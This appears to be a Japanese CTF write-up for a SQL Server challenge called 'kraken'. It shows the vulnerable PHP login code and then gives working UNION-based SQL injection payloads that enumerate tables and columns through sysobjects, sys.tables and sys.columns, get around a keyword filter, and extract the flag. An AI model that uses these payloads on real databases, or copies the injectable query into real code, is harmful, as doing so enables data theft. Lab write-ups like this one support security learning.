<?php include "./config.php"; login_chk(); $db = mssql_connect("kraken"); if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['id']) echo "<h2>{$result['id']}</h2>"; if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database. highlight_file(__FILE__);
特徴は以下。
- SQL Server
- id,pwが入力可能
master,information,;
がフィルタリング
- flag_{$hash}というテーブルの中身を取ってくる必要がある
取得文字列が表示されるので、unionでなんかをくっつけてやればいいんだろう。
テーブル名取得
SELECT name FROM sysobjects WHERE xtype = 'U'
でテーブル名は取ってこれるので、unionしよう。
このままだと、最初のものしか持ってこれないので、top構文でずらしながら値を見ていこう。
union SELECT top 2 name FROM sysobjects WHERE xtype = 'U'
で出てくる。
flag_ccdfe62b
カラム取得
' union select object_id from sys.tables where name = 'flag_ccdfe62b' --
でオブジェクトIDを持ってくる。
⇒ 901578250
' union select name from sys.columns where object_id=901578250 --
⇒ flag_ab15b600
あとは持ってくるだけ
' union select flag_ab15b600 from flag_ccdfe62b --
⇒ FLAG{a0819fc56beae985bac7d175c974cd27}